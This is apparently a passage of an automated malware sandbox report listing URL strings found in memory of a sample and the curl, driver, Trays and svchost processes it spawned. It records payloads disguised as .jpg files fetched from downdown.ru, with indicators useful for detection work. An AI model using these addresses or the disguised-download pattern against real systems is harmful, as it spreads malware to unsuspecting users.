Source: curl.exe, 0000002A.00000002.3629980662.0000000001188000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628390588.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540297614.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574791403.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600157609.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607870522.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629249576.0000000000AC1000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html#
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540222159.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574732008.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600103718.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607822184.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629188896.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.htmlcurl
Source: curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.j
Source: curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg
Source: curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg4
Source: curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000028.00000002.3599658052.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgC:
Source: curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000028.00000002.3599658052.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgWinsta0
Source: curl.exe, 00000028.00000002.3600513835.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgX
Source: curl.exe, 00000028.00000002.3600513835.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgn
Source: curl.exe, 00000028.00000002.3600513835.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgng
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.
Source: eqRHH2whJu.exe, 00000000.00000003.3438920712.0000000002240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.j
Source: eqRHH2whJu.exe, 00000000.00000003.3439398190.000000000075E000.00000004.00000020.00020000.00000000.sdmp, eqRHH2whJu.exe, 00000000.00000002.3440314361.0000000000799000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpg
Source: eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpgJ
Source: curl.exe, 00000026.00000002.3540747331.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.3540747331.0000000000C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg
Source: eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg:%
Source: curl.exe, 00000026.00000002.3540747331.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.3539778752.0000000000870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgC:
Source: curl.exe, 00000026.00000002.3540747331.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.3539778752.0000000000870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgWinsta0
Source: curl.exe, 00000026.00000002.3540747331.0000000000C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgs
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jp
Source: curl.exe, 0000002A.00000002.3629795237.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg
Source: eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg%
Source: curl.exe, 0000002A.00000002.3629795237.0000000001148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg;8
Source: curl.exe, 0000002A.00000002.3629708238.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000002.3629795237.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgC:
Source: curl.exe, 0000002A.00000002.3629795237.0000000001148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgO
Source: curl.exe, 0000002A.00000002.3629708238.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000002.3629795237.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgWinsta0
Source: curl.exe, 0000002A.00000002.3629795237.0000000001148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgs
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.3523813296.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg
Source: curl.exe, 00000025.00000002.3523813296.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg)
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg4
Source: eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg:%
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgC
Source: curl.exe, 00000025.00000002.3522499537.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.3523813296.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgC:
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgM=
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgU)
Source: curl.exe, 00000025.00000002.3522499537.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.3523813296.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgWinsta0
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpga
Source: curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgg
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.
Source: curl.exe, 00000027.00000002.3575276972.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpg
Source: curl.exe, 00000027.00000002.3575276972.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.3575223968.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgC:
Source: curl.exe, 00000027.00000002.3575276972.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.3575223968.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgWinsta0
Source: eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgv
Source: eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.j
Source: curl.exe, 00000029.00000002.3607180281.0000000000670000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg
Source: curl.exe, 00000029.00000002.3607180281.0000000000670000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3607124474.0000000000660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgC:
Source: curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgLV
Source: curl.exe, 00000029.00000002.3607180281.0000000000670000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3607124474.0000000000660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgWinsta0
Source: curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg_V8F
Source: curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgs
Source: curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgsV
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540261447.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574763007.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600132971.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607849769.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629217839.0000000000AC0000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://https://-.://%s%s%s/%s://plusYou
Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iptc.org/std/Iptc4xmpExt/2008-02-29/
Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: curl.exe, 0000002A.00000002.3629980662.0000000001188000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628390588.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: driver.exe, 0000002B.00000002.3643673961.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000252A000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php-
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php03R
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php1ySR
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php8
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpGt
Source: Trays.exe, 0000002C.00000002.4668789659.000000000096E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpa
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpb
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0I6
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpo
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phppplications.Modifiers
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpr
Source: Trays.exe, 0000002C.00000002.4668789659.000000000096E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpsu
Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpy
Source: Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe03R
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/ive
Source: driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.0000000002472000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html03R
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html??????...
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html??????...#
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.htmli
Source: Trays.exe, 0000002C.00000002.4668789659.000000000096E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.htmln...8
Source: Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/support
Source: Trays.exe, 0000002C.00000002.4670989848.0000000002472000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/support/product.php?p=min&ver=6.07&win=wvWin10&c=b3JkZXJfaWQ9M0ZVTUZSSi1BR
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray
Source: Trays.exe, 0000002C.00000002.4670989848.0000000002538000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html5
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmlgestion...AC
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll.moh
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll=
Source: driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.0000000002472000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html03R
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll??????...
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmlley
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmlli
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmlln...
Source: driver.exe, 0000002B.00000002.3643673961.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.0000000002472000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html.mo
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html03R
Source: Trays.exe, 0000002C.00000002.4668789659.000000000096E000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html;
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html???????...
Source: Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html03R
Source: driver.exe, 0000002B.00000003.3641776030.0000000002DC2000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.htmlU
Source: curl.exe, 00000026.00000002.3540986518.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.3539259241.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.3539294021.0000000000C64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.blat.net/h
Source: driver.exe, 0000002B.00000003.3641776030.0000000002DC2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gimp.org/xmp/
Source: driver.exe, 0000002B.00000003.3641776030.0000000002CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.opengl.org/registry/
Source: svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540566793.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574997298.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600360843.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3608082906.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629472747.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540566793.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574997298.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600360843.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3608082906.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 